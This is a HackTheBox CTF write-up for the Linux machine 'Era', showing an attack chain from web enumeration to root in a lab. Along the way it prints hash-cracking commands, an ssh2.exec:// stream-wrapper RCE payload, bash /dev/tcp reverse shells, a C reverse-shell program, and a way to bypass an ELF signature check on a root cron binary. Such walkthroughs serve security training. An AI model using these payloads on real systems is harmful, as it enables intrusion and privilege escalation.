HTB: Era Writeup
Era - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Era |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Era is a medium difficulty Linux machine featuring an insecure PHP file management application alongside a weakly protected system monitoring service. The attack begins with web enumeration revealing unlinked registration and login endpoints. By accessing a backup file through sequential ID enumeration, credentials can be extracted from a SQLite database. The admin panel is compromised through an insecure security question update mechanism, granting access to a PHP stream wrapper vulnerability that enables remote code execution via SSH2. Privilege escalation exploits a root-executed cron task that validates binaries using ELF signature sections, which can be bypassed by either cryptographically signing a reverse shell or copying the signature section from the legitimate binary.
TL;DR: Enumerate backup files → Extract credentials from SQLite → Compromise admin via insecure security questions → SSH2 stream wrapper RCE → Bypass ELF signature check on cron binary → Root shell.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.56.69Results:
PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.580/tcp open http nginx 1.18.0 (Ubuntu)Two open ports are identified: FTP (21) and HTTP (80). The HTTP service redirects to era.htb, requiring DNS resolution.
Service Enumeration
DNS Configuration:
echo "10.129.56.69 era.htb" | sudo tee -a /etc/hostsInitial Web Discovery:
Visiting http://era.htb reveals a design firm website with limited useful functionality. Subdomain enumeration uncovers an interesting discovery:
ffuf -w /usr/share/amass/wordlists/bitquark_subdomains_top100K.txt -u http://era.htb \ -H 'Host: FUZZ.era.htb' -fw 4This reveals file.era.htb, a file management application. Adding it to /etc/hosts:
echo "10.129.56.69 file.era.htb" | sudo tee -a /etc/hostsPHP Endpoint Discovery:
Directory scanning identifies hidden PHP endpoints:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -u http://file.era.htb/FUZZ -e .php -fw 2608Key findings:
register.php- Account registration (accessible)login.php- User loginmanage.php- File management (requires authentication)download.php- File retrievalsecurity_login.php- Security question login
Vulnerability Assessment
- Insecure Registration - Account creation available without restrictions
- Sequential File IDs - Downloadable files use predictable numeric identifiers
- Information Disclosure - Backup files accessible via ID enumeration
- Weak Authentication Logic - Security questions can be modified for any user
- PHP Stream Wrapper Exploitation - Unsafe use of
fopen()with user-supplied wrappers - ELF Signature Validation Bypass - Signature check relies on manipulable ELF sections
Initial Foothold
Step 1: Account Registration and File Enumeration
First, create a test account and log in. After registration, access the file management features. Upload a test file and note the download URL format: http://file.era.htb/download.php?id=X
This sequential ID scheme allows enumeration of existing files:
ffuf -w <(seq 1 1000) -u 'http://file.era.htb/download.php?id=FUZZ' \ -b 'PHPSESSID=YOUR_SESSION_ID' -fw 3161Results show accessible files at ID 54 and 150.
Step 2: Extract Credentials from Database Backup
Download the backup file at ID 54:
mkdir tempunzip site-backup-30-08-24.zip -d tempcd tempThe archive contains filedb.sqlite. Extract user credentials:
sqlite3 filedb.sqlitesqlite> select * from users;Output reveals:
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|...2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||Crack bcrypt hashes using John:
# Create hash file in format: username:hashecho "yuri:\$2b\$12\$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2." > hash.txtecho "eric:\$2y\$10\$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm" >> hash.txt
john hash.txt -w /usr/share/wordlists/rockyou.txtResults:
- eric : america
- yuri : mustang
Additionally, the admin’s username is admin_ef01cab31aa with security answers: Maria|Oliver|Ottawa
Step 3: Compromise Admin Account via Insecure Security Questions
The Update Security Questions function accepts a username parameter without proper authorization checks. Modify the admin’s security answers:
Navigate to the security questions update page and submit:
Username: admin_ef01cab31aaAnswer 1: password1Answer 2: password2Answer 3: password3Log out and use the Security Login feature with the new answers to gain admin access.
Step 4: PHP Stream Wrapper Exploitation
With admin access, analyze download.php source code:
// BETA (Currently only available to the admin) - Showcase file instead of downloading it} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) { $format = isset($_GET['format']) ? $_GET['format'] : ''; $file = $fetched[0]; if (strpos($format, '://') !== false) { $wrapper = $format; header('Content-Type: application/octet-stream'); } else { $wrapper = ''; header('Content-Type: text/html'); }
try { $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r'); $full_path = $wrapper ? $wrapper . $file : $file; echo "Opening: " . $full_path . "\n"; echo $file_content; } catch (Exception $e) { echo "Error reading file: " . $e->getMessage(); }}The format parameter is concatenated directly into fopen(), enabling stream wrapper abuse.
Step 5: SSH2 Wrapper Enumeration via FTP
FTP access reveals installed PHP extensions:
ftp era.htb# Username: yuri# Password: mustang
ftp> lsftp> cd php8.1_confftp> ls# Lists: ssh2.so among other extensionsThe SSH2 extension is installed, enabling the ssh2.exec:// wrapper for command execution.
Step 6: Remote Code Execution via SSH2 Stream Wrapper
Set up a listener:
nc -lvnp 9001Using Burp Suite, capture a request to download.php?id=54 while logged in as admin. Craft the payload:
ssh2.exec://eric:america@localhost:22/bash -c "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"URL-encode and construct the final request:
GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@localhost:22/bash%2B-c%2B%22bash%2B-i%2B%3E%2526%2B/dev/tcp/YOUR_IP/9001%2B0%3E%25261%22%23 HTTP/1.1Host: file.era.htbThe # symbol terminates the URL, preventing the filename from being appended.
Result:
$ nc -lvnp 9001listening on [any] 9001 ...connect to [YOUR_IP] from (UNKNOWN) [10.129.56.69] 57644bash: cannot set terminal process group (5157): Inappropriate ioctl for devicebash: no job control in this shelleric@era:~$Retrieve the user flag:
cat /home/eric/user.txtPrivilege Escalation
Step 1: Process Monitoring and Cron Discovery
Check group membership:
id# uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)The user belongs to the devs group, which may grant special privileges. Monitor running processes:
# Download pspy64 from your hostwget http://YOUR_IP/pspy64schmod +x pspy64s./pspy64sKey observations in process output:
UID=0 /bin/bash /root/initiate_monitoring.shUID=0 objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitorUID=0 openssl asn1parse -inform DER -in text_sig_section.binUID=0 /opt/AV/periodic-checks/monitorA root cron job executes a monitoring binary and validates its ELF signature section (.text_sig).
Step 2: Examine Protected Directory
Check the monitoring directory:
cd /opt/AV/periodic-checksls -la# total 32# drwxrwxr-- 2 root devs 4096 Nov 18 11:56 .# -rwxrw---- 1 root devs 16544 Nov 18 11:56 monitor# -rw-rw---- 1 root devs 307 Nov 18 11:56 status.logThe devs group has read/write access! View the status log:
cat status.log# [*] System scan initiated...# [*] No threats detected. Shutting down...# [SUCCESS] No threats detected.The script checks for threats by validating the binary’s signature. If the .text_sig section is missing, it logs an error.
Step 3: Create Reverse Shell Binary
Create a reverse shell source code file:
cat > shell.c << 'EOF'#include <stdlib.h>
int main() { system("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); return 0;}EOFHost and download:
# On your hostpython3 -m http.server 80
# On victimwget http://YOUR_IP/shell.cgcc shell.c -o shellStep 4: Method 1 - ELF Binary Signing
Extract the signing tools and keys from backup file ID 150:
# Download signing.zip (ID 150)unzip signing.zipThe archive contains key.pem (private key) and x509.genkey (certificate config). Use the linux-elf-binary-signer tool:
# On your hostgit clone https://github.com/NUAA-WatchDog/linux-elf-binary-signer.gitcd linux-elf-binary-signersudo apt install libssl-dev openssl binutilsmake
# Copy shell binary and signing materialscp /path/to/shell .cp /path/to/key.pem certs/cp /path/to/x509.genkey certs/
# Sign the binary./elf-sign sha256 certs/key.pem certs/key.pem shellOutput:
--- 64-bit ELF file, version 1 (CURRENT), little endian.--- 31 sections detected.--- Section 0016 [.text] detected.--- Length of section [.text]: 263--- Signature size of [.text]: 458--- Writing signature to file: .text_sigUpload the signed binary:
# On your hostpython3 -m http.server 80
# On victimcd /opt/AV/periodic-checkswget http://YOUR_IP/shellcp shell monitorStart listener and wait for cron execution:
nc -lvnp 4444Step 4 (Alternative): Method 2 - Signature Cloning
Without the signing tool, clone the signature from the legitimate binary:
cd /opt/AV/periodic-checks
# Dump the signature section from the legitimate monitor binaryobjcopy --dump-section .text_sig=text_sig /opt/AV/periodic-checks/monitor
# Compile the shellgcc shell.c -o shell
# Add the signature section to the shellobjcopy --add-section .text_sig=text_sig shell
# Overwrite the monitor binarycp shell monitorStart listener:
nc -lvnp 4444Within moments, the cron executes and delivers the reverse shell:
$ nc -lvnp 4444listening on [any] 4444 ...connect to [YOUR_IP] from (UNKNOWN) [10.129.56.69] 39660bash: cannot set terminal process group (9542): Inappropriate ioctl for devicebash: no job control in this shellroot@era:~#Retrieve the root flag:
cat /root/root.txtAttack Chain Summary
Subdomain Enumeration (file.era.htb) ↓Directory Scanning (register.php, download.php) ↓Account Registration ↓Sequential File ID Enumeration ↓Backup File Download (site-backup-30-08-24.zip) ↓SQLite Credential Extraction ↓Insecure Security Question Modification (Admin Takeover) ↓PHP Stream Wrapper Analysis ↓SSH2 Extension Discovery via FTP ↓SSH2.exec:// Remote Code Execution ↓Eric User Shell ↓Cron Process Monitoring (pspy64) ↓ELF Signature Section Validation Discovery ↓Signature Cloning / Binary Signing ↓Monitor Binary Overwrite ↓Root Shell via Cron ExecutionTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ffuf | Subdomain and directory brute-forcing |
sqlite3 | Database inspection and credential extraction |
john | Bcrypt password hash cracking |
burp suite | HTTP request interception and modification |
nc | Reverse shell listener |
pspy64 | Process and cron monitoring |
objcopy | ELF binary section manipulation |
gcc | C source code compilation |
openssl | Certificate and signature verification |
linux-elf-binary-signer | ELF binary cryptographic signing |
Key Learnings
Techniques Practiced
- Subdomain enumeration and vhost fuzzing
- Sequential parameter brute-forcing and ID prediction
- SQLite database extraction and analysis
- Bcrypt hash cracking and credential recovery
- Authentication bypass via privilege escalation of security mechanisms
- PHP stream wrapper exploitation (ssh2://, php://)
- Process monitoring with pspy to identify privileged cron tasks
- ELF binary structure manipulation (.text_sig sections)
- Binary signature validation bypass techniques
- Reverse shell payload delivery and execution
Lessons Learned
-
Backup files are critical assets - Unlinked backup downloads revealed credentials and application architecture. Always search for development/backup artifacts.
-
Security questions are often weakly protected - Allowing arbitrary users to modify security questions for other accounts defeats authentication entirely. Input validation must enforce user-scope restrictions.
-
Stream wrappers enable code execution - PHP stream wrappers like
ssh2://,php://, andfilter://bypass normal file access restrictions. User-supplied format parameters should never be directly concatenated intofopen()calls. -
Cron jobs executed as root are high-value targets - Process monitoring reveals privileged automated tasks. Writable directories containing root-executed binaries are exploitation goldmines.
-
ELF signature checks can be bypassed - Relying on ELF sections for integrity validation is weak without proper cryptographic verification. Section manipulation via
objcopyor legitimate signing tools can trivially bypass such checks. -
Group membership matters - Users in the
devsgroup gained write access to root-owned binaries. Careful attention to file permissions and group assignments is essential. -
FTP reveals system configuration - Configuration directories exposed installed PHP extensions, enabling identification of available stream wrappers for exploitation.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>